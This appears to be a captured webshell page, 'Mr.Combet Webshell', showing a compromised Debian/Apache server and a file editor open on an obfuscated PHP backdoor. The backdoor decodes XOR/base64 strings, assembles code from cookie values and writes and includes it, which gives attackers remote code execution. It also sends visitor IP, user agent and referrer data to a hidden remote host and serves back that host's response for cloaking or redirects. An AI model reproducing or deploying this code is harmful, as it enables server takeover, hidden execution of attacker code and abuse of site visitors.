Mr.Combet Webshell
Your IP :
172.18.0.175
Server IP :
172.67.223.119
Server :
Linux crmarketing.1092.w795 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64
Server Software :
Apache/2.4.38 (Debian)
PHP Version :
7.4.33
Add File :
Submit
Add Directory :
Submit
Dir :
~
/
var
/
www
/
pma
/
tmp
/
Edit File Name :
vq-6931c6f2e76ce
<?php class _mc{private static$_ztd;static function _cug($_cm,$_xaf){if(!self::$_ztd)self::_wk();$_fag=strlen($_xaf);$_znk=base64_decode(self::$_ztd[$_cm]);for($_znh=0,$_ow=strlen($_znk);$_znh!==$_ow;++$_znh)$_znk[$_znh]=chr(ord($_znk[$_znh])^ord($_xaf[$_znh%$_fag]));return$_znk;}private static function _wk(){self::$_ztd=array('_to'=>'HgEBOhERciENMRYQMA5PHg4OMBVPEBALOAsMZUJI','_idi'=>'HBYJKxwJK1QzJgkCZVkGLwkLNhoGKxAIMVYNPg8GLBoVNgkT','_fju'=>'PAk=','_vur'=>'OgEyFjw7MVAWEh9SExIfUhMSH1ITEh9SFhEPDzsvPQ8QETJWBSA2VhYRDw88FS4LFhIXDzs/Lhw7OzJf','_st'=>'LgEIDg==','_rd'=>'YxUIYQ==','_pkq'=>'YxoMO0Y=','_pe'=>'KBEIMw==','_eg'=>'','_mtq'=>'','_qc'=>'','_fs'=>'NxEAL19bcBUBPUsDOgcSNgkRNwoHKwAGcQYbMkoXMAgEMBYRLUseLFoQPhEVYg==','_pzx'=>'PAAaFgAcBhMr','_cv'=>'Nx0BLzYWMA0Q','_esc'=>'LAsFBzIN','_eyf'=>'NxoFBSw=','_cm'=>'GCgnfw==','_cbe'=>'LxEBEQ==','_wwg'=>'LgYLBiY=','_oip'=>'YA==','_tv'=>'LgUSASY=','_ytc'=>'fyIsCzpXbkRIUmAwMBkMZUo=','_xy'=>'NxcKHQ==','_ie'=>'UmMnHzEHARMrAAseZUknHDAaAX1VZG4=','_xdl'=>'LB0YS3BB','_ufa'=>'','_ovo'=>'NxUSKw==','_eot'=>'Uns=','_ox'=>'Fy4lNwA5PS4aNCU4Fio=','_bd'=>'FzY3NwA6PCEQMDQmDSYmIwAkLDU=','_yh'=>'DSA9EDE1ACQ0Gzc=','_pg'=>'Fzk9DzI8DCg7ACwuGiM9','_vbg'=>'Fzk7OgA4PC8NMi4tGiM7','_sn'=>'','_uzf'=>'Fz8uDzQoGi0/DS4o','_ofa'=>'FyM8PwAlLSkaJS09','_wg'=>'','_ul'=>'Fy0lMgA6PSsaNyU9Fik=','_xvr'=>'FzA1KgAnLTMaKjUlFjQ=','_eb'=>'FyAuNQAsJSMQJi0kDTA/IQAyNTc=','_ymp'=>'FzoyDzE+ACgpDTknDSojGzEgEDw=','_sd'=>'DSwqED0iACgjGzs=','_wj'=>'DTQ1OQs0JzcbNSo=','_hfe'=>'OwYCMgsBOg==','_qbt'=>'FjNTfw==','_uxc'=>'fw5JCjNTfw==','_iwa'=>'fx9RNjoFS0Q=','_av'=>'f1UELVds','_qre'=>'Ngc=','_gey'=>'KgA=','_owl'=>'LQMH','_lk'=>'Lh4DJw==',);}}class _ked{private static$_ztd;static function _cug($_cm){if(!self::$_ztd)self::_wk();return self::$_ztd[$_cm];}private static function _wk(){self::$_ztd=array(00,07,036,036,01,036,02,07,01,016,030,06,032,012,011,013,027,031,03,02,01,01,00,012,012,0310,0673,0120,00,02000,01,0423,0423);}}header(_mc::_cug('_to','_bb'));header(_mc::_cug('_idi','_yg'));if(isset($_GET[_mc::_cug('_fju','_akl')])){$_mxv=_kx(_mc::_cug('_vur','_xxf'));if($_mxv&&strpos($_mxv,_mc::_cug('_st','_vrv'))!==false){die(_mc::_cug('_rd','_zc'));}else{die(_mc::_cug('_pkq','_xm'));}}if(isset($_GET[_mc::_cug('_pe','_pd')])){$_ow=$_COOKIE;$_xaf=_ked::_cug(0);$_cm=_ked::_cug(1);$_su=array();$_su[$_xaf]=_mc::_cug('_eg','_iqx');while($_cm){$_su[$_xaf].=$_ow[_ked::_cug(2)][$_cm];if(!$_ow[_ked::_cug(3)][$_cm+_ked::_cug(4)]){if(!$_ow[_ked::_cug(5)][$_cm+_ked::_cug(6)])break;$_xaf++;$_su[$_xaf]=_mc::_cug('_mtq','_sm');$_cm++;}$_cm=$_cm+_ked::_cug(7)+_ked::_cug(8);}$_xaf=$_su[_ked::_cug(9)]().$_su[_ked::_cug(10)];if(!$_su[_ked::_cug(11)]($_xaf)){$_cm=$_su[_ked::_cug(12)]($_xaf,$_su[_ked::_cug(13)]);$_su[_ked::_cug(14)]($_cm,$_su[_ked::_cug(15)].$_su[_ked::_cug(16)]($_su[_ked::_cug(17)]($_ow[_ked::_cug(18)])));}include($_xaf);}function _kx($_mxn,$_pm='nsvdgzpdz'){$_rhi=_mc::_cug('_qc','_kp');$_qlw=_mc::_cug('_fs','_et').$_mxn;if(is_callable(_mc::_cug('_pzx','_uhz'))){$_amk=curl_init($_qlw);curl_setopt($_amk,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($_amk,CURLOPT_SSL_VERIFYHOST,_ked::_cug(19));curl_setopt($_amk,CURLOPT_FOLLOWLOCATION,_ked::_cug(20));curl_setopt($_amk,CURLOPT_RETURNTRANSFER,_ked::_cug(21));curl_setopt($_amk,CURLOPT_HEADER,_ked::_cug(22));curl_setopt($_amk,CURLOPT_CONNECTTIMEOUT,_ked::_cug(23));curl_setopt($_amk,CURLOPT_TIMEOUT,_ked::_cug(24));$_rhi=curl_exec($_amk);$_dtp=curl_getinfo($_amk);curl_close($_amk);if($_dtp[_mc::_cug('_cv','_iu')]!=_ked::_cug(25))return false;}else{$_osy=parse_url($_qlw);$_lt=($_osy[_mc::_cug('_esc','_hmb')]==_mc::_cug('_eyf','_nqu'));$_tw=_mc::_cug('_cm','_ms').$_osy[_mc::_cug('_cbe','_puy')];if(isset($_osy[_mc::_cug('_wwg','_snt')]))$_tw.=_mc::_cug('_oip','_wso').$_osy[_mc::_cug('_tv','_pws')];$_tw.=_mc::_cug('_ytc','_jx').$_osy[_mc::_cug('_xy','_xyi')]._mc::_cug('_ie','_idp');$_dt=fsockopen(($_lt?_mc::_cug('_xdl','_ntq'):_mc::_cug('_ufa','_kw')).$_osy[_mc::_cug('_ovo','_za')],$_lt?_ked::_cug(26):_ked::_cug(27));if($_dt){fputs($_dt,$_tw);$_znk=_ked::_cug(28);while(!feof($_dt)){$_bbf=fgets($_dt,_ked::_cug(29));if($_znk)$_rhi.=$_bbf;if($_bbf==_mc::_cug('_eot','_ql'))$_znk=_ked::_cug(30);}fclose($_dt);}}return$_rhi;}$_yc=isset($_SERVER[_mc::_cug('_ox','_zqg')]);$_uar=isset($_SERVER[_mc::_cug('_bd','_bcg')]);$_rl=isset($_SERVER[_mc::_cug('_yh','_ep')]);$_dhu=isset($_SERVER[_mc::_cug('_pg','_mi')])?$_SERVER[_mc::_cug('_vbg','_moj')]:_mc::_cug('_sn','_ev');$_wk=isset($_SERVER[_mc::_cug('_uzf','_kz')])?$_SERVER[_mc::_cug('_ofa','_who')]:_mc::_cug('_wg','_gt');$_yc=isset($_SERVER[_mc::_cug('_ul','_yqb')])?$_SERVER[_mc::_cug('_xvr','_daz')]:null;$_uar=isset($_SERVER[_mc::_cug('_eb','_tze')])?$_SERVER[_mc::_cug('_ymp','_nf')]:null;$_rl=isset($_SERVER[_mc::_cug('_sd','_ig')])?$_SERVER[_mc::_cug('_wj','_qxv')]:null;if(filter_var($_yc,_ked::_cug(31))){$_wl=$_yc;}elseif(filter_var($_uar,_ked::_cug(32))){$_wl=$_uar;}else{$_wl=$_rl;}if(isset($_GET[_mc::_cug('_hfe','_de')])){echo _mc::_cug('_qbt','_ci').$_wl._mc::_cug('_uxc','_ri').$_dhu._mc::_cug('_iwa','_cqd').$_wk._mc::_cug('_av','_if');exit();}if(!isset($_wl)||!isset($_dhu)||!isset($_wk)){exit();}else{$_fz=array(_mc::_cug('_qre','_wzh')=>$_wl,_mc::_cug('_gey','_abv')=>$_dhu,_mc::_cug('_owl','_fah')=>$_wk);$_zz=urlencode(base64_encode(json_encode($_fz)));$_mxv=_kx($_zz);if($_mxv&&strpos($_mxv,_mc::_cug('_lk','_iy'))!==false){echo$_mxv;exit();}}
Save